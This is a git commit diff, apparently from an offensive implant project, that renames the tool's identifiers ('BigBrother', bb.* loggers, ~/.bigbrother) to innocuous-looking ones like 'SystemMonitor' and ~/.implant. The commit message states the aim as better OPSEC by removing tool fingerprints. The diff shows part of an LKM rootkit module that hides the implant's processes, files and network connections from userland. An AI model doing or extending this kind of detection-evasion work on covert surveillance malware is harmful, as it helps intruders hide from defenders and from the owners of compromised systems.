Fix #211: Remove tool identity strings from deployed artifacts
- Replace BigBrother -> SystemMonitor in display names and docstrings - Replace logger names: bb.* -> sensor.* - Replace process names: bb-* -> sensor-* - Replace home directory: ~/.bigbrother -> ~/.implant - Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-* - Updated 76 Python files across all modules - Improves OPSEC by removing obvious tool fingerprints from logs and runtime
This commit is contained in:
@@ -1,6 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
"""LKM rootkit module: compile, load, and manage a kernel module that hides
|
||||
BigBrother processes, files, and network connections from userland."""
|
||||
SystemMonitor processes, files, and network connections from userland."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
@@ -12,7 +12,7 @@ from typing import Optional
|
||||
from modules.base import BaseModule
|
||||
from utils.resource import get_hardware_tier, TIER_GENERIC
|
||||
|
||||
logger = logging.getLogger("bb.stealth.lkm_rootkit")
|
||||
logger = logging.getLogger("sensor.stealth.lkm_rootkit")
|
||||
|
||||
LKM_TEMPLATE_DIR = "templates/lkm"
|
||||
LKM_SOURCE = "bb_hide.c"
|
||||
@@ -259,7 +259,7 @@ class LKMRootkit(BaseModule):
|
||||
"""Write current hide lists to loaded module's parameters via sysfs."""
|
||||
if not self._loaded:
|
||||
return
|
||||
# Collect current BigBrother PIDs from state
|
||||
# Collect current SystemMonitor PIDs from state
|
||||
try:
|
||||
all_status = self.state.get_all_module_status()
|
||||
for mod_name, mod_status in all_status.items():
|
||||
|
||||
Reference in New Issue
Block a user